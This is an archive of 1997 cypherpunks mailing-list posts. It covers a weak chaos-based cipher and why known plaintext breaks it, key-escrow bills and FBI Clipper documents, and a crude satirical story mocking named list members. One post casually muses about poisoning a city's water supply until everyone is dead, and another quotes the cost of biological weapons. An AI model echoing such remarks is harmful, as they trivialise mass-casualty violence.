From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Tue, 9 Sep 1997 14:25:54 +0800
To: bd1011@hotmail.com (Nobuki Nakatuji)
Subject: Re: Gao's Chaos Cryptosystem Algorithm
In-Reply-To: <199709090528.WAA07380@f48.hotmail.com>
Message-ID: <199709090543.AAA10682@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Nobuki Nakatuji wrote:
> 
> >
> >I will just repeat Prof. Choate's question, how do you generate Ch.
> >
> >
> Ch generate 
> 
> begin
> Xn+1=aXn(1.0-Xn)
> return Xn+1
> end

What does aXn(1.0-Xn) mean? That's what I do not understand.

> Do you understand Japanese ?

Nihongo ga dekimasen, wasuremashita:) 1991-ni benkyo simashita. Rosia-no
hito deshita, Amerika-de ikimashita.

Panikovsky-san nihongo-ga totemo dekimasu.

Yokunai hito ja
Nai noni do shite
Wasureta nijimu
Una sera de Tokyo, a-a

... that's a neat song I remember.

> If you understand Japanese,
> I will send theis of Gao's Chaos Cryptosystem to you.

I like C more.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 9 Sep 1997 07:56:38 +0800
To: cypherpunks@cyberpass.net
Subject: GAK patents, anyone?
Message-ID: <199709082334.BAA03486@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anyone want to guess how long until they will give 'key escrow' systems
special protection?  

(Actually that would be a good thing, because it would make GAK more
expensive :-)


-----
http://www.uspto.gov/web/offices/com/sol/notices/terrog.txt
-----

Petitioning to Make Special Patent Applications Relating to
Inventions For Countering Terrorism

New patent applications are normally taken up for
examination in the order of their effective United States
filing date.  However, the Commissioner may provide that a
patent application will be advanced out of turn for
examination if a petition to make the patent application
special under 37 CFR 1.102(c) or (d) is granted.

On July 31, 1996, Vice President Gore stated that "[i]t is
imperative that those seeking to prevent terrorist
activities have all of the tools necessary to accomplish
their task."  In view of the importance of developing
technologies for countering terrorism and the desirability
of prompt disclosure of advances made in these fields, the
Patent and Trademark Office is establishing a new category
for petitions to accord "special" status to patent
applications relating to counter-terrorism inventions.
International terrorism as defined in 18 U.S.C. 2331 is
"activities that
(A) involve violent acts or acts dangerous to human life
that are a violation of the criminal laws of the United
States or of any State, or that would be a criminal
violation if committed within the jurisdiction of the United
States or of any State; (B) appear to be intended (i) to
intimidate or coerce a civilian population; (ii) to
influence the policy of a government by intimidation or
coercion; or (iii) to affect the conduct of a government by
assassination or kidnaping."

The types of technology for countering terrorism could
include, but are not limited to, systems for
detecting/identifying explosives, aircraft sensors/security
systems, and vehicular barricades/disabling systems.
Applications which are made special will be advanced out of
turn for examination and will be treated as special
throughout their pendency by the Patent and Trademark
Office.

Applicants who desire that an application relating to
inventions for countering terrorism be made special should
file a petition, with the fee under 37 CFR 1.17(i) which is
presently $130.00, requesting the Patent and Trademark
Office to make the application special.  The petition for
special status should be made in writing, should identify
the application by application number and filing date, and
should be accompanied by a statement explaining how the
invention contributes to countering terrorism.  Such
statement must be set forth in oath or declaration form
unless it is signed by a registered practitioner.  The
petition will be decided by the Director of the patent
examining group to which the application is assigned.

This new category for a petition to make an application
special will be added in the next revision of the Manual of
Patent Examining Procedure (MPEP) to the other categories
discussed in MPEP section 708.02.

Questions concerning this notice should be directed to
Magdalen Y. Greenlief, Office of the Deputy Assistant
Commissioner for Patent Policy and Projects, (703) 305-8813.

Bruce A. Lehman                         Dated: August 19, 1996
Assistant Secretary of Commerce and
   Commissioner of Patents and Trademarks





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Tue, 9 Sep 1997 11:10:20 +0800
To: cypherpunks@ssz.com
Subject: Re: Government shows its hand...good news!
Message-ID: <199709090151.CAA07992@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



tcmay@got.net:

> Though it's understandable why so many are expressing anger, gloom,
> anxiety, and rage over the Freeh-Feinstein mandatory key escrow draft bill,
> a better attitude is that of joy.

> Any way it goes, this is good news for us.

> If the Safe Internet Act (or whatever it is finally called)  is passed, the
> Supreme Court will likely strike it down (on First and/or Fourth Amendment


Joy may be an overreaction.

I just wrote (in part) to ukcrypto@maillist.ox.ac.uk:

Perhaps the law will be passed, then struck down by courts as unconstitutional
(after campaigners have incurred some expense) and something else will
replace it days later.  I'm too young to be this cynical.




On another subject: Micali's patents are described in AC2.
(Page 97 is missing from the indexed list of Micali-mentioning pages,)

On page 98 Schneier says of the advantages of key escrow:
  "Well, there really aren't any".



--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
##############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 9 Sep 1997 09:15:17 +0800
To: cypherpunks@toad.com
Subject: Re: Deja Vu / Re: Info please
Message-ID: <199709090057.CAA14378@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>> Dont go swimming on a full stomach.
>>
>Don't play with that, you'll shoot your eye out. 
> 
Always wear clean underwear in case you get hit by a car.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dave Null" <dave_null@hotmail.com>
Date: Tue, 9 Sep 1997 19:22:58 +0800
To: cypherpunks@toad.com
Subject: InfoWar / Steal This Mind / Part III of 'The True Story of  the    InterNet
Message-ID: <19970909111003.402.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">
<TITLE>The True Story of the Internet Part II</TITLE>

<META NAME="GENERATOR" CONTENT="Internet Assistant for Microsoft Word 
2.04z">
</HEAD>
<BODY>
<HR>
<HR>
<P>
<CENTER><U><FONT COLOR=#0000FF>The True Story of the InterNet
<BR>
Part III<BR>
</FONT></U></CENTER>
<P>
<CENTER><B><FONT SIZE=7 COLOR=#800000>Info</FONT><FONT SIZE=7 
COLOR=#FF0000>War</FONT></B></CENTER>
<P>
<CENTER><U><B><FONT SIZE=4>Final Frontier of the Digital 
Revolution</FONT></B></U></CENTER>
<P>
<CENTER><U><B><FONT SIZE=2 COLOR=#800000>Behind the ElectroMagnetic
Curtain<BR>
</FONT></B></U></CENTER>
<P>
<CENTER><FONT SIZE=2>by <I><B>TruthMonger &lt;tm@dev.null&gt;
<BR>
<BR>
</B></I></FONT></CENTER>
<P>
<FONT SIZE=2>Copyright 1997 Pearl Publishing</FONT>
<HR>
<HR>
<P>
<CENTER><A NAME="TOC"><U><B>InfoWar Table of Contents<BR>
</B></U></A></CENTER>
<UL>
<LI>Steal This Mind!
<BR>
</UL>
<HR>
<P>
<CENTER><A NAME="Chapter_3"><B>Steal This Mind!</B></A></CENTER>
<HR>
<P>
The wild-eyed, disheveled figure sat hunched over the keyboard
of his laptop, frantically seeking meaning in the words that lay
before him.
<P>
Who was he? What was his name? Why couldn't he remember?<BR>
Was it the doctors? It <B>had</B> to be the doctors, that was
the only explanation.
<P>
<I>&quot;Hello, Arnold. How are you fooling today?&quot;</I>
<P>
The man furtively lowered the screen on his laptop, hiding his
important work from the prying eyes of the doctor. (<I>&quot;I
won't be fooled again.&quot;</I> he vowed to himself, <I>&quot;no
matter <B>who</B> I am.&quot;</I>)
<P>
<I>&quot;Hello, Dr. the Platypus.&quot;</I> Arnold (he knew that
wasn't his <B>real</B> name) said, cautiously.
<P>
<I>&quot;Peas, call me ?.&quot; </I>the doctor replied, with a
warm, caring smile.<I> <BR>
</I>The doctor nodded toward the laptop, saying, <I>&quot;Oar
ewe still having those confusions about being 'ewe know who'?&quot;</I>
<P>
Arnold <B>hated</B> it when the doctors did this&#133;teasing
him about his memory loss in regard to who was <B>really</B>,
on the InterNet, where a person could still be free&#133;could
still be anything he wanted to be, as long as he was a cleaver
forager. (<I>&quot;Damn!&quot; </I>thought Arnold. <I>&quot;now
he's got <B>me</B> doing it, too. I have to resist.&quot;</I>
)<BR>
<I>&quot;I'll ask the CypherPunks who I am.&quot; </I>Arnold said,
defiantly. <I>&quot;They are my friends.&quot;</I>
<P>
Dr. ? the Platypus roared out in laughter, shaking his head in
disbelief that this lunatic was so far out of touch with reality.
He decided that it would be rude to have all the fun himself,
so he turned to the grouchy old man who had just sat down beside
him and said, <I>&quot;Well, I think Arnold needs a second opinion.
What do <B>you</B> think, Doctor May?&quot;</I>
<P>
A 34<SUP>th</SUP> degree Mason, Dr. Tim C. May knew that it would
be cruel to feed this deranged crackpot's delusions&#133;so he
proceeded to do so.<BR>
<I>&quot;Of <B>course</B> they are your friends, Arnold. That's
why they have agreed to help us with your treatment.&quot;<BR>
</I>Dr. May smiled at Dr. the Platypus, who was grinning from
ear to ear, and continued.<BR>
<I>&quot;We told them that mentioning 'you know who' on the CypherPunk
mailing list would only feed your illusions of grandeur, so your
dear, dear friends, the CypherPunks, have agreed not to tell you
the name of your imaginary InterNet persona.&quot;</I>
<P>
Arnold was pouting, now. He knew they were making fun of him.
<BR>
<I>&quot;You're lying!&quot; </I>he said. <I>&quot;I'm no 
foal!&quot;</I>
<P>
Dr. the Platypus laughed loudly, once again, at this sign that
his treatments were having the desired affect on Arnold's grammar.
<BR>
<I>&quot;Berry good, Arnold. Ewe are doing much bladder, but I
thank we will have to increase the number of your agraphia treat
mints just the same. As a matter of fact, we have already called
in a specialist to augment your electroshock treat mints with
a special toilet plunger technique developed at the Mayonnaise
Clinic in Forest Hills, NY, by some very experienced police 
sturgeons.&quot;</I>
<P>
<I>&quot;His name is Hun.&quot;</I> Dr. May added. <I>&quot;Dr.
Attila T. Hun.&quot;</I>
<P>
The two doctors laughed heartily, once again sending Arnold into
a fit of stubborn insolence.
<P>
<I>&quot;I'll find out from the Magic Circle.&quot;</I> Arnold
stated boldly, <I>&quot;They'll tell me. I'm a very important
person. I'm writing Part III of 'The True Story of the InterNet'
for them. I am calling it &quot;Space Aliens Hide My Drugs.&quot;</I>
<P>
Arnold was relieved to see Dr. Back, joining the group gathered
at his table. Even in his confused state, he was certain that
Dr. Back was on his side. He was a good man.
<P>
Dr. Adam Back put his arm around Arnold tenderly, and looked into
his eyes with deep concern, saying, <I>&quot;I'm afraid that I
have some bad news for you, Arnold.&quot;<BR>
</I>He paused for a moment, smiling at the other doctors, and
then continued, <I>&quot;Part III is titled 'InfoWar.' It is being
written by a wide variety of people, just like Part I and Part
II.&quot;</I>
<P>
Dr. Back's eyes then grew cold and hard as he leaned closer to
Arnold, until they sat face to face, only inches between them.
<BR>
In a steadily rising voice he told Arnold, <I>&quot;It's going
to be about <B>real</B> CypherPunks<B> </B>and <B>real</B> members
of the Magic Circle, not about some <B>stupid</B>, Carpetbagging,
rude, insane <B>interloper</B> who <B>couldn't carry the Jockstrap
of REAL members of the CypherPunks and the Magic Circle. DO YOU
UNDERSTAND!!??</B>&quot;<BR>
</I>
<P>
Arnold was shaking in his boots, clutching his laptop in his arms
as if it were a magic talisman which could spirit him away, back
to the virtual reality of the InterNet, where he was safe. His
body began twitching and he fell to the floor, beginning to shake
violently.
<P>
<I>&quot;He's having another fit!&quot; </I>Dr. the Platypus cried
out to a nearby aide. <I>&quot;Quick, get the toilet plunger.&quot;</I>
<P>
The aide rushed over with the toilet plunger, as Dr. Tim C. May
said, <I>&quot;Now place it between his teeth, so he doesn't bite
his tongue.&quot;</I>
<P>
The aide looked at the vile, feces encrusted handle on the toilet
plunger and asked, hesitantly, <I>&quot;Are you sure that's a
good idea, Dr. May?&quot;</I>
<P>
Dr. ? the Platypus put his hand on the aide's shoulder, to reassure
him.<BR>
<I>&quot;It's OK, Dr. May is TruthMonger. Trust him&#133;&quot;
<BR>
</I>
<P>
<FONT SIZE=2>Copyright 1997 Dave Null Publishing</FONT>
<P>
<FONT SIZE=2>Dave Null &lt;dave_null@hotmail.com&gt;</FONT>
<HR>
<P>
<CENTER><A HREF="http://bureau42.base.org/public/xenix">&quot;The Xenix 
Chainsaw Massacre&quot;</A></CENTER>
<P>
<CENTER><A 
HREF="http://bureau42.base.org/public/webworld">&quot;WebWorld &amp; the 
Mythical Circle of Eunuchs&quot;</A></CENTER>
<HR>
</BODY>
</HTML>


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dave Null" <dave_null@hotmail.com>
Date: Tue, 9 Sep 1997 19:28:17 +0800
To: cypherpunks@toad.com
Subject: Steal This Mind (InfoWar / Part III of The True Story of the    InterNet
Message-ID: <199709091119.EAA20424@f48.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com
Title: The True Story of the Internet Part II






The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Steal This Mind!



Steal This Mind!


The wild-eyed, disheveled figure sat hunched over the keyboard
of his laptop, frantically seeking meaning in the words that lay
before him.

Who was he? What was his name? Why couldn't he remember?
Was it the doctors? It had to be the doctors, that was
the only explanation.

"Hello, Arnold. How are you fooling today?"

The man furtively lowered the screen on his laptop, hiding his
important work from the prying eyes of the doctor. ("I
won't be fooled again." he vowed to himself, "no
matter who I am.")

"Hello, Dr. the Platypus." Arnold (he knew that
wasn't his real name) said, cautiously.

"Peas, call me ?." the doctor replied, with a
warm, caring smile. 
The doctor nodded toward the laptop, saying, "Oar
ewe still having those confusions about being 'ewe know who'?"

Arnold hated it when the doctors did this...teasing
him about his memory loss in regard to who was really,
on the InterNet, where a person could still be free...could
still be anything he wanted to be, as long as he was a cleaver
forager. ("Damn!" thought Arnold. "now
he's got me doing it, too. I have to resist."
)
"I'll ask the CypherPunks who I am." Arnold said,
defiantly. "They are my friends."

Dr. ? the Platypus roared out in laughter, shaking his head in
disbelief that this lunatic was so far out of touch with reality.
He decided that it would be rude to have all the fun himself,
so he turned to the grouchy old man who had just sat down beside
him and said, "Well, I think Arnold needs a second opinion.
What do you think, Doctor May?"

A 34th degree Mason, Dr. Tim C. May knew that it would
be cruel to feed this deranged crackpot's delusions...so he
proceeded to do so.
"Of course they are your friends, Arnold. That's
why they have agreed to help us with your treatment."
Dr. May smiled at Dr. the Platypus, who was grinning from
ear to ear, and continued.
"We told them that mentioning 'you know who' on the CypherPunk
mailing list would only feed your illusions of grandeur, so your
dear, dear friends, the CypherPunks, have agreed not to tell you
the name of your imaginary InterNet persona."

Arnold was pouting, now. He knew they were making fun of him.

"You're lying!" he said. "I'm no foal!"

Dr. the Platypus laughed loudly, once again, at this sign that
his treatments were having the desired affect on Arnold's grammar.

"Berry good, Arnold. Ewe are doing much bladder, but I
thank we will have to increase the number of your agraphia treat
mints just the same. As a matter of fact, we have already called
in a specialist to augment your electroshock treat mints with
a special toilet plunger technique developed at the Mayonnaise
Clinic in Forest Hills, NY, by some very experienced police sturgeons."

"His name is Hun." Dr. May added. "Dr.
Attila T. Hun."

The two doctors laughed heartily, once again sending Arnold into
a fit of stubborn insolence.

"I'll find out from the Magic Circle." Arnold
stated boldly, "They'll tell me. I'm a very important
person. I'm writing Part III of 'The True Story of the InterNet'
for them. I am calling it "Space Aliens Hide My Drugs."

Arnold was relieved to see Dr. Back, joining the group gathered
at his table. Even in his confused state, he was certain that
Dr. Back was on his side. He was a good man.

Dr. Adam Back put his arm around Arnold tenderly, and looked into
his eyes with deep concern, saying, "I'm afraid that I
have some bad news for you, Arnold."
He paused for a moment, smiling at the other doctors, and
then continued, "Part III is titled 'InfoWar.' It is being
written by a wide variety of people, just like Part I and Part
II."

Dr. Back's eyes then grew cold and hard as he leaned closer to
Arnold, until they sat face to face, only inches between them.

In a steadily rising voice he told Arnold, "It's going
to be about real CypherPunks and real members
of the Magic Circle, not about some stupid, Carpetbagging,
rude, insane interloper who couldn't carry the Jockstrap
of REAL members of the CypherPunks and the Magic Circle. DO YOU
UNDERSTAND!!??"


Arnold was shaking in his boots, clutching his laptop in his arms
as if it were a magic talisman which could spirit him away, back
to the virtual reality of the InterNet, where he was safe. His
body began twitching and he fell to the floor, beginning to shake
violently.

"He's having another fit!" Dr. the Platypus cried
out to a nearby aide. "Quick, get the toilet plunger."

The aide rushed over with the toilet plunger, as Dr. Tim C. May
said, "Now place it between his teeth, so he doesn't bite
his tongue."

The aide looked at the vile, feces encrusted handle on the toilet
plunger and asked, hesitantly, "Are you sure that's a
good idea, Dr. May?"

Dr. ? the Platypus put his hand on the aide's shoulder, to reassure
him.
"It's OK, Dr. May is TruthMonger. Trust him..."



Copyright 1997 Dev Null Publishing

Dev Null <six_ual_dv8@hotmail.com>


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 9 Sep 1997 21:34:45 +0800
To: cypherpunks@toad.com
Subject: Latest amendment to SAFE crypto bill
Message-ID: <Pine.GSO.3.95.970909062005.13383B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 9 Sep 1997 06:19:59 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: "--Todd Lappin-->" <telstar@wired.com>
Cc: Lizard <lizard@dnai.com>, "Brock N. Meeks" <brock@well.com>,
    tbetz@pobox.com, fight-censorship@vorlon.mit.edu
Subject: Re: Square One, (Was: Useless Crypto Legislation)

Things are heating up even more. At this morning's National Security
committee markup in the House, SAFE will be hit by an amendment sponsored
by Weldon and Dellums. It doesn't focus on key recovery; rather it likely
will delay the effective date of the act. "We need the time for our
defense and intelligence agencies to prepare," says one source who drafted
it.

No committee member, even the SAFE cosponsors, has said they'll oppose it.

-Declan



On Sun, 7 Sep 1997, --Todd Lappin--> wrote:

> >At 12:12 AM 9/7/97 -0700, Brock N. Meeks wrote:.
> >
> >Thanks, Declan.  I think anyone that's followed this closely isn't
> >surprised, but it's the long slow march that gets us.  These moves are
> >becoming so brazen now... it's incredible.
> 
> Indeed.  Brock's crypto work has been consistently kick ass.  He's schooled
> a lot of us in what this struggle is all about.
> 
> I too have been brushing up on my history of the Crypto Wars, and our
> current dilemma is giving me a nasty feeling of deja vu.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 9 Sep 1997 20:23:57 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Gao's Chaos Cryptosystem Algorithm (fwd)
Message-ID: <199709091229.HAA04999@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "Nobuki Nakatuji" <bd1011@hotmail.com>
> Subject: Re: Gao's Chaos Cryptosystem Algorithm
> Date: Mon, 08 Sep 1997 23:18:33 PDT

> >Nobuki Nakatuji wrote:

> >> >I will just repeat Prof. Choate's question, how do you generate Ch.

I think Igor got a bruised ego...

> >> Ch generate 
> >> 
> >> begin
> >> Xn+1=aXn(1.0-Xn)
> >> return Xn+1
> >> end
> >
> >What does aXn(1.0-Xn) mean? That's what I do not understand.

More explicity it is a weird IFS nomenclature (I believe). What is being
said here near as I can tell is:

Take some function X and takes it's output for the n'th result and use it as
the input for calculating n+1.

We take the n'th value and subtract it from 1, assuming the RNG function
returns 0 <= x <= 1, and feed this into X take the result and multiply by
some scalar, a, producing Xn+1.

Not shure exactly why the subtraction from unity is in there. All it really
does is give you a number > .5 if you are less than .5 and visa versa.
Doesn't enhance the IFS in any meaningful way that I can see.

The scalar multiplier, a, isn't doing anything but scaling the output.
Again it isn't effecting the IFS in a meaningful way that I can tell.

It would be more interesting to know the specific X's since this is
what will determine the 'level' of chaos that results since this is what
will define the strange attractor.

Section 1.3 onward of the reference I mentioned previously goes into some
detail on the various feedback processes and how to describe them somewhat
formaly. It's called a 'One Step Feedback Machine'.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 9 Sep 1997 20:23:12 +0800
To: cypherpunks@toad.com
Subject: Nuke Washington, DC
Message-ID: <54iRce93w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



It's a pity Jim Bell's in jail.  If he saw this thread, he would have
suggested a slew of chemicals that could be dumped surreptitously in
the ater supply and not dectected until everybody is dead.

(Yes, adding radioactive materials to "conventional" explosives is
a pretty old idea.  The allies kept talking about it during WWII.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Tue, 9 Sep 1997 21:43:22 +0800
To: bd1011@hotmail.com (Nobuki Nakatuji)
Subject: Re: Gao's Chaos Cryptosystem Algorithm
In-Reply-To: <19970909061833.14066.qmail@hotmail.com>
Message-ID: <199709091326.IAA12788@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Nobuki Nakatuji wrote:
> >Nobuki Nakatuji wrote:
> >> >I will just repeat Prof. Choate's question, how do you generate Ch.
> >> Ch generate 
> >> 
> >> begin
> >> Xn+1=aXn(1.0-Xn)
> >> return Xn+1
> >> end
> >
> >What does aXn(1.0-Xn) mean? That's what I do not understand.
> >
> It mean Chaos function.

How do you calculate this function?

Thank you.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Wed, 10 Sep 1997 04:02:55 +0800
To: "Nobuki Nakatuji" <cypherpunks@toad.com
Subject: Re: Gao's Chaos Cryptosystem Algorithim
In-Reply-To: <19970909041824.464.qmail@hotmail.com>
Message-ID: <3.0.3.32.19970909083021.0069266c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



There has been work like this done before, though I don't have references
handy.
Check Schneier's "Applied Cryptography".  It hasn't been very successful -
the output of the system looks very random, but you can predict each value
from the last, so known plaintext attack kills it.  And even if the
mathematics are strong, the implementation can be weak.

At 09:18 PM 9/8/97 PDT, Nobuki Nakatuji wrote:
>P(i) Plaintext,C(i) Ciphertext,K(j) Key,Ch(i) Chaos signal,
>L Irrational number
>
>P(),C()-->Manage in byte,Length supposing that n byte.
>K()-->Character line from ASCII CODE,Length supposing that m.
>
>Ch(n)
>begin
>Xn+1=aXn(1.0-Xn)
>return Xn+1
>end

How long are Xn and Ch(n)?  Double (64-bit IEEE floating point)?
Is 0<Ch(n)<1 ?  (I assume yes...)
How long is L (since a true irrational is infinitely long)?
Is L part of the key, or shared by everybody?

>f(K)
>begin
>w = Sigmaj strtoul(K(j))j
>delay=int(w/L)
>return(double)(w/L-delay)
>end

How is f(K) used?  Initialize Ch(0)?  
What is strtoul?  String to Unsigned Long?
If size(w) == ul == 32 bits, you only have a 32-bit key, too weak.
If size(w) == 64 bits, maybe you have a chance.
Be sure each piece of K(j) is long enough - adding a bunch of
short numbers together does not produce a long number.
An MD5 hash would be much better.

>1.K input
>2.delay generato
>3.Ch(i) generato
>4.P(i) acquire
>5.C(i)=P(i) XOR Ch(i+delay)
>6.C(i) output

How do you XOR a plaintext byte with (double) Ch(i)?
Do you really just use 1 byte of the Ch(i)?  Then you may have a chance.
If you use all the bits of Ch(i), then known plaintext lets you
take C(i) XOR P(i) == Ch(i), which lets you generate Ch(i+1)....
You may not know the key, but you don't need to if you know the function.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Tue, 9 Sep 1997 21:42:37 +0800
To: SYCHOSIS3D@prodigy.net
Subject: Re: help
In-Reply-To: <34152818.2B83@prodigy.net>
Message-ID: <199709091331.IAA12842@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



SYCHOSIS3D wrote:
> 
> I am getting flooded with cypherpunk posts. I AM on this list, and
> wouldlike to be removed. thank you
> 

You are not on _my_ list. Try to check other cypherpunks lists.

ssz and cyberpass, PLEASE take this gentleman out!

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Wed, 10 Sep 1997 03:45:07 +0800
To: ichudov@Algebra.COM (Igor Chudov @ home)
Subject: Re: Gao's Chaos Cryptosystem Algorithm
In-Reply-To: <v03102807b03a832ba2fb@[207.167.93.63]>
Message-ID: <3.0.3.32.19970909084118.0069266c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




At 11:50 PM 9/8/97 -0500, Igor Chudov @ home wrote:
>I think that what Nobuku described is not a private key system (because
>keys cannot be reused), but rather an approach to generating one time pads.

Arrrgh!  No!  If you read the early references, it's clearly a stream cypher, 
and used as such.  The same bitstream is generated at both ends.
Pretending it's a True Random One-Time Pad would be snake oil, 
but that's your mistake, not Nobuku's or Gao's.
It's true that keys cannot be reused, but that's the same for RC4.

>> Do you think means of generating one time pads have been lacking?
>I think that one more good way of doing it would not hurt.
And one more non-truly-random way of doing it just puts more snake oil on
the shelf.
If there are any bytes that are correlated and not independent, it's Bad Pad.

Tim May wrote:
>> Why do you think a private key system, even one based on trendy buzzwords
>> (e,g, "chaos") is interesting?
Crypto mathematics is always interesting, if written well,
and if it's the first time you've seen something rather than Yet Another
LCM PRNG.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 10 Sep 1997 00:23:27 +0800
To: cypherpunks@toad.com
Subject: We're not surprised
Message-ID: <Pine.GSO.3.95.970909090126.24823C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 9 Sep 1997 09:01:09 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: We're not surprised

---

http://epic.org/crypto/ban/fbi_dox/

FOR RELEASE:  August 16, 1995, 2:00 p.m. EST
       J
            WASHINGTON, DC - Newly-released government documents show 
       that key federal agencies concluded more than two years ago that 
       the "Clipper Chip" encryption initiative will only succeed if 
       alternative security techniques are outlawed.  The Electronic 
       Privacy Information Center (EPIC) obtained the documents from the 
       Federal Bureau of Investigation under the Freedom of Information 
       Act.  EPIC, a non-profit research group, received hundreds of 
       pages of material from FBI files concerning Clipper and 
       cryptography.
       J
            Clipper, and its underlying key-escrow encryption technology, 
       are designed to guarantee government agents "real-time" access to 
       encrypted communications.  This is accomplished by placing an 
       extra set of decryption "keys" in the hands of designated "escrow 
       agents."
       J
            The conclusions contained in the documents appear to conflict 
       with frequent Administration claims that use of Clipper technology 
       will remain "voluntary."  Critics of the government's initiative, 
       including EPIC, have long maintained that the Clipper "key-escrow 
       encryption" technique would only serve its stated purpose if made 
       mandatory.  According to the FBI documents, that view is shared by 
       the Bureau, the National Security Agency (NSA) and the Department 
       of Justice (DOJ).


            In a "briefing document" titled "Encryption: The Threat, 
       Applications and Potential Solutions," and sent to the National 
       Security Council in February 1993, the FBI, NSA and DOJ concluded 
       that:
       J
            Technical solutions, such as they are, will only work if 
            they are incorporated into *all* encryption products.  
            To ensure that this occurs, legislation mandating the 
            use of Government-approved encryption products or 
            adherence to Government encryption criteria is required.
       J
            Likewise, an undated FBI report titled "Impact of Emerging 
       Telecommunications Technologies on Law Enforcement" observes that 
       "[a]lthough the export of encryption products by the United States 
       is controlled, domestic use is not regulated."  The report 
       concludes that "a national policy embodied in legislation is 
       needed."  Such a policy, according to the FBI, must ensure "real-
       time decryption by law enforcement" and "prohibit[] cryptography 
       that cannot meet the Government standard."
       J
            The FBI conclusions stand in stark contrast to public 
       assurances that the government does not intend to prohibit the use 
       of non-escrowed encryption.  Testifying before a Senate Judiciary 
       Subcommittee on May 3, 1994, Assistant Attorney General Jo Ann 
       Harris asserted that:
       J
            As the Administration has made clear on a number of 
            occasions, the key-escrow encryption initiative is a 
            voluntary one; we have absolutely no intention of 
            mandating private use of a particular kind of 
            cryptography, nor of criminalizing the private use of 
            certain kinds of cryptography.
       J
             According to EPIC Legal Counsel David Sobel, the newly-
       disclosed information "demonstrates that the architects of the 
       Clipper program -- NSA and the FBI -- have always recognized that 
       key-escrow must eventually be mandated.  As privacy advocates and 
       industry have always said, Clipper does nothing for law 
       enforcement unless the alternatives are outlawed."
       J
            Scanned images of several key documents are available via the 
       World Wide Web at the EPIC Home Page:
       J
                 http://www.epic.org/crypto/ban/fbi_dox/
       J
       J
       J
                                     -30-







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Frank <fjegan@airmail.net>
Date: Tue, 9 Sep 1997 22:43:00 +0800
To: cypherpunks@toad.com
Subject: Bright, Loud and Quick OR...?
Message-ID: <3.0.32.19970909092004.00721208@mail.airmail.net>
MIME-Version: 1.0
Content-Type: text/enriched

 "Building a nuclear capability would cost $1 billion or more, require 1,300 engineers, and take years. Developing biological weapons could cost less than $100,000, require five biologists, and take just a few weeks, using equipment that is readily available almost anywhere in the world." Science News 5/18/96

See their web site for the full article with references and sources. 

A number of questions other than the pure cost of development occur:

